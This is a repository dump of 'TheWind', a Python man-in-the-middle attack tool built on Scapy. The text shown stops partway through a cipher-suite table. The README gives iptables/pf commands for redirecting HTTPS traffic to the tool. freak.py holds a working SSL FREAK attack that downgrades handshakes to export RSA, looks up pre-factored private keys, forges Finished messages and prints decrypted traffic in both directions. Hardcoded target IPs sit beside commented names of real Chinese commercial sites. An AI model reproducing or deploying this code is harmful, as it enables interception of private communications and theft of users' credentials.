├── .gitignore ├── README.md ├── config.py ├── forward.py ├── freak.py ├── handleovpn.py ├── handlessl.py ├── header.py ├── messageFraud.py ├── passive.py ├── prf.py ├── replaceCert.py ├── ssl_tls.py ├── ssl_tls_crypto.py ├── testcert.py ├── tk.py └── wind.py /.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !*.py 3 | !.gitignore 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | TheWind 2 | ============= 3 | a MITM attack tool 4 | 5 | Aims to do man in the middle attacks on multiple application layer protocols. for now, it only supports SSL protocol. 6 | 7 | * Utilize Scapy (http://www.secdev.org/projects/scapy/) to parse packets 8 | 9 | * Utilize Scapy-SSL/TLS (https://github.com/tintinweb/scapy-ssl_tls) to support for parsing/building SSL/TLS in Scapy. 10 | 11 | Feature 12 | -------- 13 | * SSL Freak Attack 14 | 15 | Installation 16 | -------- 17 | 1) mv ssl_tls.py to ./scapy/layers 18 | 19 | 2) modify ./scapy/config.py to autoload ssl_tls layer 20 | ```diff 21 | config.py::Conf::load_layers 22 | 375,376c375 23 | < "sebek", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr", "sctp", "vrrp", 24 | < "ssl_tls", ] 25 | --- 26 | > "sebek", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr", "sctp", "vrrp"] 27 | ``` 28 | 29 | Usage 30 | -------- 31 | 1. redirect traffic to port 8888: ```iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8888``` 32 | or 33 | ```rdr on xxiface inet proto tcp from xxx.xxx.xxx.xxx/xx to any port = 443 -> 127.0.0.1 port 8888``` 34 | 1. edit wind.py to import the right file, for example, add ```import freak``` to launch the SSL FREAK attack 35 | 1. you can write your own module to implement a specific ssl attack, the compulsory funtions you need to supply are those in ```forward.py``` 36 | 1. if man in the middle wants to connect to another server, set ```useOrinAddr = False```, then set ```ip, port``` 37 | 1. set ```doProcess = True``` to make the process functions take effect 38 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | from OpenSSL import crypto 2 | from replaceCert import * 3 | 4 | useOrinAddr = True 5 | 6 | SSL = True 7 | OPENVPN = False 8 | 9 | b_process = True 10 | 11 | iplist = [] 12 | portlist = [443] 13 | -------------------------------------------------------------------------------- /forward.py: -------------------------------------------------------------------------------- 1 | def clienthelloprocess(csession, ssession, p): 2 | return p 3 | 4 | def serverhelloprocess(csession, ssession, p): 5 | return p 6 | 7 | def certificateprocess(csession, ssession, p): 8 | return p 9 | 10 | def clientkeyexgprocess(csession, ssession, p): 11 | return p 12 | 13 | def serverkeyexgprocess(csession, ssession, p): 14 | return p 15 | 16 | def clientfinishprocess(csession, ssession, p): 17 | return p 18 | 19 | def serverfinishprocess(csession, ssession, p): 20 | return p 21 | 22 | def clientchangecsprocess(csession, ssession, p): 23 | return p 24 | 25 | def serverchangecsprocess(csession, ssession, p): 26 | return p 27 | 28 | def clientappdataprocess(csession, ssession, p): 29 | return p 30 | 31 | def serverappdataprocess(csession, ssession, p): 32 | return p 33 | -------------------------------------------------------------------------------- /freak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #encoding: utf-8 3 | 4 | from header import * 5 | 6 | 7 | #ip = 'passport.suning.com' 8 | ip = '119.188.139.98' 9 | ip = '182.118.77.102' 10 | ip = '42.202.151.37' 11 | ''' 12 | #ip = "kyfw.12306.cn" 13 | ip = '58.216.21.93' 14 | ip = '61.156.243.247' 15 | ip = '122.70.142.160' 16 | #ip = "secure.damai.cn" 17 | ip = '58.83.157.190' 18 | ''' 19 | port = 443 20 | 21 | def getKnownKeys(): 22 | Ns = {} 23 | f = open('keys.list', 'r') 24 | for i in f.readlines(): 25 | if i.find('#') == -1: 26 | l = i.strip().split(', ') 27 | Ns[l[0]] = l[1] 28 | return Ns 29 | 30 | def getD(pubkey): 31 | n = pubkey.encode('hex') 32 | Ns = getKnownKeys() 33 | print 'pubkey: ', n 34 | if n in Ns.keys(): 35 | d = Ns[n] 36 | print "N hit!", n 37 | else: 38 | print 'N: %s'%n 39 | raise ValueError('Invalid N') 40 | return d.decode('hex') 41 | 42 | 43 | def clienthelloprocess(csession, ssession, p): 44 | print "Version:%s"%(TLS_VERSIONS[p[TLSHandshake].version]) 45 | print "ClientRandom:%s"%p[TLSHandshake].random_bytes.encode('hex') 46 | cslist = p[TLSHandshake].cipher_suites 47 | print "OriginalCipherSuites:" 48 | for i in cslist: 49 | print "\t%s"%parseCS(i) 50 | 51 | p[TLSHandshake].cipher_suites_length = 2 52 | p[TLSHandshake].cipher_suites = 3 53 | 54 | cslist = p[TLSHandshake].cipher_suites 55 | print "ChangedCipherSuites:" 56 | for i in cslist: 57 | print "\t%s"%parseCS(i) 58 | 59 | p[TLSHandshake].session_id_length = 0 60 | p[TLSHandshake].session_id=None 61 | p[TLSHandshake].length = len(str(p[TLSClientHello])) 62 | p.length = len(str(p[TLSHandshake])) 63 | return p 64 | 65 | def serverhelloprocess(csession, ssession, p): 66 | print "ServerRandom:%s"%p[TLSHandshake].random_bytes.encode('hex') 67 | print "OriginalCipherSuite:%s"%parseCS(p[TLSHandshake].cipher_suite) 68 | p[TLSHandshake].cipher_suite = 4 69 | print "ChangedCipherSuite:%s"%parseCS(p[TLSHandshake].cipher_suite) 70 | print "CompressionMethod:%s"%p[TLSHandshake].compression_method 71 | p[TLSHandshake].session_id_length = 0 72 | p[TLSHandshake].session_id=None 73 | p[TLSHandshake].length = len(str(p[TLSServerHello])) 74 | p.length = len(str(p[TLSHandshake])) 75 | return p 76 | 77 | def certificateprocess(csession, ssession, p): 78 | return p 79 | 80 | def clientkeyexgprocess(csession, ssession, p): 81 | return p 82 | 83 | def serverkeyexgprocess(csession, ssession, p): 84 | pubkey = str(p[Raw])[:64] 85 | csession.crypto.server.rsa.pubkey = pubkey 86 | ssession.crypto.server.rsa.pubkey = pubkey 87 | prikey = getD(pubkey) 88 | 89 | n = int(pubkey.encode('hex'), 16) 90 | e = long(65537) 91 | d = int(getD(pubkey).encode('hex'), 16) 92 | csession.crypto.server.rsa.privkey = prikey 93 | ssession.crypto.server.rsa.privkey = prikey 94 | key = RSA.construct((n, e, d)) 95 | csession.crypto.server.rsa.cipher = PKCS1_v1_5.new(key) 96 | ssession.crypto.server.rsa.cipher = PKCS1_v1_5.new(key) 97 | return p 98 | 99 | def clientfinishprocess(csession, ssession, p): 100 | if not verify_client_finished(csession, p): 101 | print "Client Finshed Verify Error!!" 102 | return forge_client_finished(ssession, p) 103 | 104 | def serverfinishprocess(csession, ssession, p): 105 | if not verify_server_finished(ssession, p): 106 | print "Server Finshed Verify Error!!" 107 | return forge_server_finished(csession, p) 108 | 109 | def clientchangecsprocess(csession, ssession, p): 110 | return p 111 | 112 | def serverchangecsprocess(csession, ssession, p): 113 | return p 114 | 115 | def clientappdataprocess(csession, ssession, p): 116 | dec = csession.crypto.client.dec.decrypt(str(p)[5:]) 117 | dec = csession.check_strip_mac(dec) 118 | print 'CLIENT=>SERVER\n', dec 119 | pdata = str(p)[:3]+struct.pack('>H',len(dec))+dec 120 | mac = ssession.clientcalmac(pdata) 121 | enc = ssession.crypto.client.enc.encrypt(dec+mac) 122 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 123 | 124 | def serverappdataprocess(csession, ssession, p): 125 | dec = ssession.crypto.server.dec.decrypt(str(p)[5:]) 126 | dec = ssession.check_strip_mac(dec) 127 | print 'SERVER=>CLIENT:\n', dec 128 | pdata = str(p)[:3]+struct.pack('>H',len(dec))+dec 129 | mac = csession.servercalmac(pdata) 130 | enc = csession.crypto.server.enc.encrypt(dec+mac) 131 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 132 | 133 | 134 | 135 | def verify_client_finished(csession, p): 136 | decfinish = csession.crypto.client.dec.decrypt(str(p)[5:]) 137 | decmac = decfinish[16:] 138 | decfinish = decfinish[:16] 139 | mac = csession.clientcalmac(str(p)[:3]+struct.pack('>H', len(decfinish))+decfinish) 140 | if mac != decmac: 141 | raise ValueError('Finish Mac Error') 142 | caledfinish = csession.calFinish('client finished') 143 | csession.cumulatedmsg += caledfinish 144 | return decfinish == caledfinish 145 | 146 | def verify_server_finished(ssession, p): 147 | decfinish = ssession.crypto.server.dec.decrypt(str(p)[5:]) 148 | decmac = decfinish[16:] 149 | decfinish = decfinish[:16] 150 | mac = ssession.servercalmac(str(p)[:3]+struct.pack('>H', len(decfinish))+decfinish) 151 | if mac != decmac: 152 | raise ValueError('Finish Mac Error') 153 | caledfinish = ssession.calFinish('server finished') 154 | ssession.cumulatedmsg += caledfinish 155 | return decfinish == caledfinish 156 | 157 | 158 | 159 | def forge_client_finished(ssession, p): 160 | forged_finish = ssession.calFinish('client finished') 161 | ssession.cumulatedmsg += forged_finish 162 | forged_mac = ssession.clientcalmac(str(p)[:3]+struct.pack('>H',len(forged_finish))+forged_finish) 163 | enc = ssession.crypto.client.enc.encrypt(forged_finish + forged_mac) 164 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 165 | 166 | def forge_server_finished(csession, p): 167 | forged_finish = csession.calFinish('server finished') 168 | csession.cumulatedmsg += forged_finish 169 | forged_mac = csession.servercalmac(str(p)[:3]+struct.pack('>H',len(forged_finish))+forged_finish) 170 | enc = csession.crypto.server.enc.encrypt(forged_finish + forged_mac) 171 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 172 | -------------------------------------------------------------------------------- /handleovpn.py: -------------------------------------------------------------------------------- 1 | from handlessl import * 2 | 3 | class HandleOPENVPN: 4 | def __init__(self): 5 | self.client_ctl_begin = False 6 | self.client_ctl_end = False 7 | self.server_ctl_begin = False 8 | self.server_ctl_end = False 9 | self.client_content = "" 10 | self.server_content = "" 11 | self.handlessl = HandleSSL() 12 | 13 | def handle(self, p, label): 14 | if p.opcode == 4: 15 | if label == "client": 16 | #print "===client begin===" 17 | #print "client", p.msg_fragment.encode('hex') 18 | #print self.server_ctl_begin, self.server_ctl_end 19 | if self.server_ctl_begin and not self.server_ctl_end: 20 | pro_len = 0 21 | while 1: 22 | length = struct.unpack('>H',self.server_content[pro_len+3:pro_len+5])[0] 23 | logging.info(length) 24 | payload = self.server_content[pro_len:pro_len+5+length] 25 | logging.info(self.handlessl) 26 | self.handlessl.handle(TLSRecord(payload), 'server') 27 | logging.info(payload.encode('hex')) 28 | pro_len = pro_len+5+length 29 | if pro_len == len(self.server_content): 30 | break 31 | self.server_content = '' 32 | self.server_ctl_bebin = False 33 | self.server_ctl_end = True 34 | self.client_content += p.msg_fragment 35 | self.client_ctl_begin = True 36 | self.client_ctl_end = False 37 | #print "===client_end===" 38 | elif label == "server": 39 | #print "===server begin===" 40 | #print "server", p.msg_fragment.encode('hex') 41 | #print self.client_ctl_begin, self.client_ctl_end 42 | if self.client_ctl_begin and not self.client_ctl_end: 43 | pro_len = 0 44 | while 1: 45 | length = struct.unpack('>H',self.client_content[pro_len+3:pro_len+5])[0] 46 | logging.info(length) 47 | payload = self.client_content[pro_len:pro_len+5+length] 48 | logging.info(self.handlessl) 49 | self.handlessl.handle(TLSRecord(payload), 'client') 50 | logging.info(payload.encode('hex')) 51 | pro_len = pro_len+5+length 52 | if pro_len == len(self.client_content): 53 | break 54 | self.client_content = '' 55 | self.client_ctl_begin = False 56 | self.client_ctl_end = True 57 | self.server_content += p.msg_fragment 58 | self.server_ctl_begin = True 59 | self.server_ctl_end = False 60 | #print "===server end===" 61 | 62 | 63 | return p 64 | 65 | def recv_one(self, ssock, csock): 66 | readable = select.select([ssock, csock], [], [], 30)[0] 67 | datalist = [] 68 | if len(readable) == 0: 69 | print "none is readable!!!" 70 | for r in readable: 71 | first_read = recvall(r, 2) 72 | if len(first_read) < 2: 73 | continue 74 | length = struct.unpack(">H", first_read)[0] 75 | data = recvall(r, length) 76 | assert(len(data) == length) 77 | datalist.append((r, first_read + data)) 78 | return datalist 79 | 80 | -------------------------------------------------------------------------------- /handlessl.py: -------------------------------------------------------------------------------- 1 | from ssl_tls_crypto import * 2 | from config import * 3 | 4 | CHANGE_CIPHER_SPEC = 20 5 | ALERT = 21 6 | HANDSHAKE = 22 7 | APPLICATION_DATA = 23 8 | 9 | HELLO_REQUEST = 0 10 | CLIENT_HELLO = 1 11 | SERVER_HELLO = 2 12 | CERTIFICATE = 11 13 | SERVER_KEY_EXCHANGE = 12 14 | CERTIFICATE_REQUEST = 13 15 | SERVER_HELLO_DONE = 14 16 | CERTIFICATE_VERIFY = 15 17 | CLIENT_KEY_EXCHANGE = 16 18 | FINISHED = 20 19 | CERTIFICATE_STATUS = 22 20 | 21 | class HandleSSL: 22 | def __init__(self): 23 | self.clientfinished = False 24 | self.serverfinished = False 25 | self.csession = TLSSessionCtx() 26 | self.ssession = TLSSessionCtx() 27 | self.process = False 28 | 29 | def handle(self, p, label): 30 | content_type = p.content_type 31 | if content_type == HANDSHAKE: 32 | p = self.processHandshake(p, label, self.process) 33 | elif content_type == CHANGE_CIPHER_SPEC: 34 | assert(p.length == 1) 35 | assert(p.message == '\x01') 36 | if label == "client": 37 | logging.info("CLIENT_CHANGE_CIPHER_SPEC") 38 | self.clientfinished = True 39 | if label == "server": 40 | logging.info("SERVER_CHANGE_CIPHER_SPEC") 41 | self.serverfinished = True 42 | elif content_type == ALERT: 43 | logging.info("ALERT") 44 | elif content_type == APPLICATION_DATA: 45 | #logging.info('-'*80) 46 | #logging.info('-'*29 + 'APPLICATION_DATA BEGIN' + '-'*29) 47 | #logging.info('-'*80) 48 | if label == "client": 49 | logging.info("CLIENT APPLICATION DATA") 50 | p = clientappdataprocess(self.csession, self.ssession, p) 51 | if label == "server": 52 | logging.info("SERVER APPLICATION DATA") 53 | p = serverappdataprocess(self.csession, self.ssession, p) 54 | #logging.info('-'*80) 55 | #logging.info('-'*29 + 'APPLICATION_DATA END' + '-'*29) 56 | #logging.info('-'*80) 57 | return p 58 | 59 | def processHandshake(self, p, label, process): 60 | hs_type = ord(str(p)[5]) #hacks here 61 | if hs_type == HELLO_REQUEST: 62 | logging.info("HELLO_REQUEST") 63 | elif hs_type == CLIENT_HELLO and not (self.clientfinished or self.serverfinished): 64 | logging.info("CLIENT_HELLO") 65 | if process == True: 66 | self.csession.cumulatedmsg += str(p)[5:] 67 | self.csession.process(p) 68 | p = clienthelloprocess(self.csession, self.ssession, p) 69 | if process == True: 70 | self.ssession.cumulatedmsg += str(p)[5:] 71 | self.ssession.process(p) 72 | elif hs_type == SERVER_HELLO and not (self.clientfinished or self.serverfinished): 73 | logging.info("SERVER_HELLO") 74 | if process == True: 75 | self.ssession.cumulatedmsg += str(p)[5:] 76 | self.ssession.process(p) 77 | p = serverhelloprocess(self.csession, self.ssession, p) 78 | if process == True: 79 | self.csession.cumulatedmsg += str(p)[5:] 80 | self.csession.process(p) 81 | elif hs_type == CERTIFICATE and not (self.clientfinished or self.serverfinished): 82 | logging.info("CERTIFICATE") 83 | if process == True: 84 | self.csession.cumulatedmsg += str(p)[5:] 85 | self.csession.process(p) 86 | p = certificateprocess(self.csession, self.ssession, p) 87 | if process == True: 88 | self.ssession.cumulatedmsg += str(p)[5:] 89 | self.ssession.process(p) 90 | elif hs_type == SERVER_KEY_EXCHANGE and not (self.clientfinished or self.serverfinished): 91 | logging.info("SERVER_KEY_EXCHANGE") 92 | if process == True: 93 | self.ssession.cumulatedmsg += str(p)[5:] 94 | self.ssession.process(p) 95 | p = serverkeyexgprocess(self.csession, self.ssession, p) 96 | if process == True: 97 | self.csession.cumulatedmsg += str(p)[5:] 98 | self.csession.process(p) 99 | elif hs_type == CERTIFICATE_REQUEST: 100 | logging.info("CERTIFICATE_REQUEST") 101 | elif hs_type == SERVER_HELLO_DONE and not (self.clientfinished or self.serverfinished): 102 | logging.info("SERVER_HELLO_DONE") 103 | if process == True: 104 | self.csession.cumulatedmsg += str(p)[5:] 105 | self.csession.process(p) 106 | self.ssession.process(p) 107 | self.ssession.cumulatedmsg += str(p)[5:] 108 | elif hs_type == CERTIFICATE_VERIFY: 109 | logging.info("CERTIFICATE_VERIFY") 110 | elif hs_type == CLIENT_KEY_EXCHANGE and not (self.clientfinished or self.serverfinished): 111 | logging.info("CLIENT_KEY_EXCHANGE") 112 | if process == True: 113 | self.csession.cumulatedmsg += str(p)[5:] 114 | self.csession.process(p) 115 | p = clientkeyexgprocess(self.csession, self.ssession, p) 116 | if process == True: 117 | self.ssession.cumulatedmsg += str(p)[5:] 118 | self.ssession.process(p) 119 | elif hs_type == CERTIFICATE_STATUS: 120 | logging.info("CERTIFICATE_STATUS") 121 | else: 122 | if label == 'client' and self.clientfinished: 123 | logging.info("CLIENT_ENCRYPTED_HS_MSG") 124 | #logging.info(str(p).encode('hex')) 125 | #logging.info(p.show()) 126 | p = clientfinishprocess(self.csession, self.ssession, p) 127 | elif label == 'server' and self.serverfinished: 128 | logging.info("SERVER_ENCRYPTED_HS_MSG") 129 | #logging.info(str(p).encode('hex')) 130 | #logging.info(p.show()) 131 | p = serverfinishprocess(self.csession, self.ssession, p) 132 | else: 133 | logging.info('label:%s, clientFinished:%s, serverFinished:%s'%(label, self.clientfinished, self.serverfinished)) 134 | logging.info(str(p).encode('hex')) 135 | logging.warning("not handshake message!!") 136 | #logging.info(self.postprocess(data).encode('hex')) 137 | return p 138 | 139 | def recv_one(self, ssock, csock): 140 | readable = select.select([ssock, csock], [], [], 30)[0] 141 | datalist = [] 142 | for r in readable: 143 | record_header = recvall(r, 5) 144 | if len(record_header) < 5: 145 | continue 146 | length = struct.unpack(">H", record_header[3:5])[0] 147 | data = recvall(r, length) 148 | assert(len(data) == length) 149 | datalist.append((r, record_header + data)) 150 | return datalist 151 | 152 | -------------------------------------------------------------------------------- /header.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #encoding: utf-8 3 | 4 | import socket, SocketServer, struct, sys, subprocess, select 5 | from scapy.all import * 6 | from Crypto.PublicKey import RSA 7 | from Crypto.Cipher import PKCS1_v1_5 8 | from OpenSSL import crypto 9 | 10 | PORT = 8888 11 | SO_ORIGINAL_DST = 80 12 | 13 | import logging 14 | logging.basicConfig(level=logging.DEBUG, 15 | format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', 16 | datefmt='%m-%d %H:%M', 17 | filename='wind.log', 18 | filemode='w') 19 | console = logging.StreamHandler() 20 | console.setLevel(logging.ERROR) 21 | formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') 22 | console.setFormatter(formatter) 23 | logging.getLogger('').addHandler(console) 24 | 25 | 26 | def lookup(address, port, s): 27 | """ 28 | Parse the pfctl state output s, to look up the destination host 29 | matching the client (address, port). 30 | 31 | Returns an (address, port) tuple, or None. 32 | """ 33 | spec = "%s:%s" % (address, port) 34 | for i in s.split("\n"): 35 | if "ESTABLISHED:ESTABLISHED" in i and spec in i: 36 | s = i.split() 37 | if len(s) > 4: 38 | if sys.platform == "freebsd10": 39 | # strip parentheses for FreeBSD pfctl 40 | s = s[3][1:-1].split(":") 41 | else: 42 | s = s[4].split(":") 43 | 44 | if len(s) == 2: 45 | return s[0], int(s[1]) 46 | raise RuntimeError("Could not resolve original destination.") 47 | 48 | def get_original_addr(csock): 49 | output = subprocess.check_output("uname") 50 | if not output.strip() == "Linux": 51 | address, port = csock.getpeername() 52 | s = subprocess.check_output(("sudo", "-n", "/sbin/pfctl", "-s", "state"), stderr=subprocess.STDOUT) 53 | return lookup(address, port, s) 54 | odestdata = csock.getsockopt(socket.SOL_IP, SO_ORIGINAL_DST, 16) 55 | _, port, a1, a2, a3, a4 = struct.unpack("!HHBBBBxxxxxxxx", odestdata) 56 | address = "%d.%d.%d.%d" % (a1, a2, a3, a4) 57 | return address, port 58 | 59 | class NullCipher(object): 60 | """ Implements a pycrypto like interface for the Null Cipher 61 | """ 62 | 63 | block_size = 0 64 | key_size = 0 65 | 66 | @classmethod 67 | def new(cls, *args, **kwargs): 68 | return cls() 69 | 70 | def encrypt(self, cleartext): 71 | return cleartext 72 | 73 | def decrypt(self, ciphertext): 74 | return ciphertext 75 | 76 | class NullHash(object): 77 | """ Implements a pycrypto like interface for the Null Hash 78 | """ 79 | 80 | blocksize = 0 81 | digest_size = 0 82 | 83 | def __init__(self, *args, **kwargs): 84 | pass 85 | 86 | @classmethod 87 | def new(cls, *args, **kwargs): 88 | return cls(*args, **kwargs) 89 | 90 | def update(self, data): 91 | pass 92 | 93 | def digest(self): 94 | return "" 95 | 96 | def hexdigest(self): 97 | return "" 98 | 99 | def copy(self): 100 | return copy.deepcopy(self) 101 | 102 | class DHE(object): 103 | pass 104 | 105 | 106 | HASH_LENGTH = { 107 | "NONE": 0, 108 | "MD5": 16, 109 | "SHA": 20, 110 | "SHA224": 28, 111 | "SHA256": 32, 112 | "SHA384": 48, 113 | "SHA512": 64 114 | } 115 | 116 | 117 | TLS_CIPHER_SUITE_REGISTRY = { 118 | 0x0000: 'NULL_WITH_NULL_NULL', 119 | 0x0001: 'RSA_WITH_NULL_MD5', 120 | 0x0002: 'RSA_WITH_NULL_SHA', 121 | 0x0003: 'RSA_EXPORT_WITH_RC4_40_MD5', 122 | 0x0004: 'RSA_WITH_RC4_128_MD5', 123 | 0x0005: 'RSA_WITH_RC4_128_SHA', 124 | 0x0006: 'RSA_EXPORT_WITH_RC2_CBC_40_MD5', 125 | 0x0007: 'RSA_WITH_IDEA_CBC_SHA', 126 | 0x0008: 'RSA_EXPORT_WITH_DES40_CBC_SHA', 127 | 0x0009: 'RSA_WITH_DES_CBC_SHA', 128 | 0x000a: 'RSA_WITH_3DES_EDE_CBC_SHA', 129 | 0x000b: 'DH_DSS_EXPORT_WITH_DES40_CBC_SHA', 130 | 0x000c: 'DH_DSS_WITH_DES_CBC_SHA', 131 | 0x000d: 'DH_DSS_WITH_3DES_EDE_CBC_SHA', 132 | 0x000e: 'DH_RSA_EXPORT_WITH_DES40_CBC_SHA', 133 | 0x000f: 'DH_RSA_WITH_DES_CBC_SHA', 134 | 0x0010: 'DH_RSA_WITH_3DES_EDE_CBC_SHA', 135 | 0x0011: 'DHE_DSS_EXPORT_WITH_DES40_CBC_SHA', 136 | 0x0012: 'DHE_DSS_WITH_DES_CBC_SHA', 137 | 0x0013: 'DHE_DSS_WITH_3DES_EDE_CBC_SHA', 138 | 0x0014: 'DHE_RSA_EXPORT_WITH_DES40_CBC_SHA', 139 | 0x0015: 'DHE_RSA_WITH_DES_CBC_SHA', 140 | 0x0016: 'DHE_RSA_WITH_3DES_EDE_CBC_SHA', 141 | 0x0017: 'DH_anon_EXPORT_WITH_RC4_40_MD5', 142 | 0x0018: 'DH_anon_WITH_RC4_128_MD5', 143 | 0x0019: 'DH_anon_EXPORT_WITH_DES40_CBC_SHA', 144 | 0x001a: 'DH_anon_WITH_DES_CBC_SHA', 145 | 0x001b: 'DH_anon_WITH_3DES_EDE_CBC_SHA', 146 | 0x001e: 'KRB5_WITH_DES_CBC_SHA', 147 | 0x001f: 'KRB5_WITH_3DES_EDE_CBC_SHA', 148 | 0x0020: 'KRB5_WITH_RC4_128_SHA', 149 | 0x0021: 'KRB5_WITH_IDEA_CBC_SHA', 150 | 0x0022: 'KRB5_WITH_DES_CBC_MD5', 151 | 0x0023: 'KRB5_WITH_3DES_EDE_CBC_MD5', 152 | 0x0024: 'KRB5_WITH_RC4_128_MD5', 153 | 0x0025: 'KRB5_WITH_IDEA_CBC_MD5', 154 | 0x0026: 'KRB5_EXPORT_WITH_DES_CBC_40_SHA', 155 | 0x0027: 'KRB5_EXPORT_WITH_RC2_CBC_40_SHA', 156 | 0x0028: 'KRB5_EXPORT_WITH_RC4_40_SHA', 157 | 0x0029: 'KRB5_EXPORT_WITH_DES_CBC_40_MD5', 158 | 0x002a: 'KRB5_EXPORT_WITH_RC2_CBC_40_MD5', 159 | 0x002b: 'KRB5_EXPORT_WITH_RC4_40_MD5', 160 | 0x002c: 'PSK_WITH_NULL_SHA', 161 | 0x002d: 'DHE_PSK_WITH_NULL_SHA', 162 | 0x002e: 'RSA_PSK_WITH_NULL_SHA', 163 | 0x002f: 'RSA_WITH_AES_128_CBC_SHA', 164 | 0x0030: 'DH_DSS_WITH_AES_128_CBC_SHA', 165 | 0x0031: 'DH_RSA_WITH_AES_128_CBC_SHA', 166 | 0x0032: 'DHE_DSS_WITH_AES_128_CBC_SHA', 167 | 0x0033: 'DHE_RSA_WITH_AES_128_CBC_SHA', 168 | 0x0034: 'DH_anon_WITH_AES_128_CBC_SHA', 169 | 0x0035: 'RSA_WITH_AES_256_CBC_SHA', 170 | 0x0036: 'DH_DSS_WITH_AES_256_CBC_SHA', 171 | 0x0037: 'DH_RSA_WITH_AES_256_CBC_SHA', 172 | 0x0038: 'DHE_DSS_WITH_AES_256_CBC_SHA', 173 | 0x0039: 'DHE_RSA_WITH_AES_256_CBC_SHA', 174 | 0x003a: 'DH_anon_WITH_AES_256_CBC_SHA', 175 | 0x003b: 'RSA_WITH_NULL_SHA256', 176 | 0x003c: 'RSA_WITH_AES_128_CBC_SHA256', 177 | 0x003d: 'RSA_WITH_AES_256_CBC_SHA256', 178 | 0x003e: 'DH_DSS_WITH_AES_128_CBC_SHA256', 179 | 0x003f: 'DH_RSA_WITH_AES_128_CBC_SHA256', 180 | 0x0040: 'DHE_DSS_WITH_AES_128_CBC_SHA256', 181 | 0x0041: 'RSA_WITH_CAMELLIA_128_CBC_SHA', 182 | 0x0042: 'DH_DSS_WITH_CAMELLIA_128_CBC_SHA', 183 | 0x0043: 'DH_RSA_WITH_CAMELLIA_128_CBC_SHA', 184 | 0x0044: 'DHE_DSS_WITH_CAMELLIA_128_CBC_SHA', 185 | 0x0045: 'DHE_RSA_WITH_CAMELLIA_128_CBC_SHA', 186 | 0x0046: 'DH_anon_WITH_CAMELLIA_128_CBC_SHA', 187 | 0x0060: 'RSA_EXPORT1024_WITH_RC4_56_MD5', 188 | 0x0061: 'RSA_EXPORT1024_WITH_RC2_CBC_56_MD5', 189 | 0x0062: 'RSA_EXPORT1024_WITH_DES_CBC_SHA', 190 | 0x0063: 'DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA', 191 | 0x0064: 'RSA_EXPORT1024_WITH_RC4_56_SHA', 192 | 0x0065: 'DHE_DSS_EXPORT1024_WITH_RC4_56_SHA', 193 | 0x0066: 'DHE_DSS_WITH_RC4_128_SHA', 194 | 0x0067: 'DHE_RSA_WITH_AES_128_CBC_SHA256', 195 | 0x0068: 'DH_DSS_WITH_AES_256_CBC_SHA256', 196 | 0x0069: 'DH_RSA_WITH_AES_256_CBC_SHA256', 197 | 0x006a: 'DHE_DSS_WITH_AES_256_CBC_SHA256', 198 | 0x006b: 'DHE_RSA_WITH_AES_256_CBC_SHA256', 199 | 0x006c: 'DH_anon_WITH_AES_128_CBC_SHA256', 200 | 0x006d: 'DH_anon_WITH_AES_256_CBC_SHA256', 201 | 0x0084: 'RSA_WITH_CAMELLIA_256_CBC_SHA', 202 | 0x0085: 'DH_DSS_WITH_CAMELLIA_256_CBC_SHA', 203 | 0x0086: 'DH_RSA_WITH_CAMELLIA_256_CBC_SHA', 204 | 0x0087: 'DHE_DSS_WITH_CAMELLIA_256_CBC_SHA', 205 | 0x0088: 'DHE_RSA_WITH_CAMELLIA_256_CBC_SHA', 206 | 0x0089: 'DH_anon_WITH_CAMELLIA_256_CBC_SHA', 207 | 0x008a: 'PSK_WITH_RC4_128_SHA', 208 | 0x008b: 'PSK_WITH_3DES_EDE_CBC_SHA', 209 | 0x008c: 'PSK_WITH_AES_128_CBC_SHA', 210 | 0x008d: 'PSK_WITH_AES_256_CBC_SHA', 211 | 0x008e: 'DHE_PSK_WITH_RC4_128_SHA', 212 | 0x008f: 'DHE_PSK_WITH_3DES_EDE_CBC_SHA', 213 | 0x0090: 'DHE_PSK_WITH_AES_128_CBC_SHA', 214 | 0x0091: 'DHE_PSK_WITH_AES_256_CBC_SHA', 215 | 0x0092: 'RSA_PSK_WITH_RC4_128_SHA', 216 | 0x0093: 'RSA_PSK_WITH_3DES_EDE_CBC_SHA', 217 | 0x0094: 'RSA_PSK_WITH_AES_128_CBC_SHA', 218 | 0x0095: 'RSA_PSK_WITH_AES_256_CBC_SHA', 219 | 0x0096: 'RSA_WITH_SEED_CBC_SHA', 220 | 0x0097: 'DH_DSS_WITH_SEED_CBC_SHA', 221 | 0x0098: 'DH_RSA_WITH_SEED_CBC_SHA', 222 | 0x0099: 'DHE_DSS_WITH_SEED_CBC_SHA', 223 | 0x009a: 'DHE_RSA_WITH_SEED_CBC_SHA', 224 | 0x009b: 'DH_anon_WITH_SEED_CBC_SHA', 225 | 0x009c: 'RSA_WITH_AES_128_GCM_SHA256', 226 | 0x009d: 'RSA_WITH_AES_256_GCM_SHA384', 227 | 0x009e: 'DHE_RSA_WITH_AES_128_GCM_SHA256', 228 | 0x009f: 'DHE_RSA_WITH_AES_256_GCM_SHA384', 229 | 0x00a0: 'DH_RSA_WITH_AES_128_GCM_SHA256', 230 | 0x00a1: 'DH_RSA_WITH_AES_256_GCM_SHA384', 231 | 0x00a2: 'DHE_DSS_WITH_AES_128_GCM_SHA256', 232 | 0x00a3: 'DHE_DSS_WITH_AES_256_GCM_SHA384', 233 | 0x00a4: 'DH_DSS_WITH_AES_128_GCM_SHA256', 234 | 0x00a5: 'DH_DSS_WITH_AES_256_GCM_SHA384', 235 | 0x00a6: 'DH_anon_WITH_AES_128_GCM_SHA256', 236 | 0x00a7: 'DH_anon_WITH_AES_256_GCM_SHA384', 237 | 0x00a8: 'PSK_WITH_AES_128_GCM_SHA256', 238 | 0x00a9: 'PSK_WITH_AES_256_GCM_SHA384', 239 | 0x00aa: 